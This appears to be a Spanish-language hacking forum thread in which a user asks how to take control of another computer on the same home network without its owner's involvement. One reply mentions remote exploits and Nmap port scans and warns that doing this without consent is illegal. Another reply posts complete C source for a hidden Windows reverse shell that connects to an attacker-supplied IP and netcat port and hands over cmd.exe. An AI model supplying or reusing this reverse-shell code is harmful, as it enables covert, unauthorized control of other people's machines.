Test Foro de elhacker.net SMF 2.1

Mi duda es si puedo tener el control de otro ordenador conecado a mi misma red de casa pero sin tener ningun tipo de contanco con el otro ordenador.
Pense en un backdor pero no me sirve por que la pc victima tiene que ejecutarlo y no enteoria no tengo contacto con el otro ordenador.
Quisiera saber si hay alguna manera de tener el control de un ordenador en la misma red sin que la pc tenga que ejecutar ningun tipo de archivo.

Hola!

Podrias tomar control con un exploit remoto. Pero para eso necesitarias tener info sobre el otro pc; al menos su ip. Nmap p[uede ayudarte a escanear los puertos que tiene abierto el pc, sobre los cuales podrias "trabajar".

Saludos!

PD: Ten en cuenta que hacer eso sin el consentimiento del dueño del pc, es ilegal. Distinto es si haces pruebas en tu red local, con tus propias maquinas.

Como te dijeron arriba

Creo que podrías trabajar con un shell remoto, usando netcat nmap, viendo sus puertos y escanearlos, para esto necesitarías su ip

Acá tenés un exploit para Windows, lo encontré en un posteo de Kasswed hace más de 10 años, tal vez siga funcionado (no estoy muy adentrado en el tema)


#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char *argv[])
{
        ShowWindow(GetForegroundWindow(),SW_HIDE);
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in addr;
        memset(&addr,0,sizeof(addr));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el
puerto de conexion NetCat
        addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO
NO-IP");//Atencion a esta linea, aki va tu IP
        connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);
}


Si quieres saber más, acá tenes el link

http://foro.elhacker.net/tutoriales_documentacion/manual_de_netcat-t87109.0.html (http://foro.elhacker.net/tutoriales_documentacion/manual_de_netcat-t87109.0.html)

Espero haberte ayudado, suerte pibe, y contame como te fue  ::)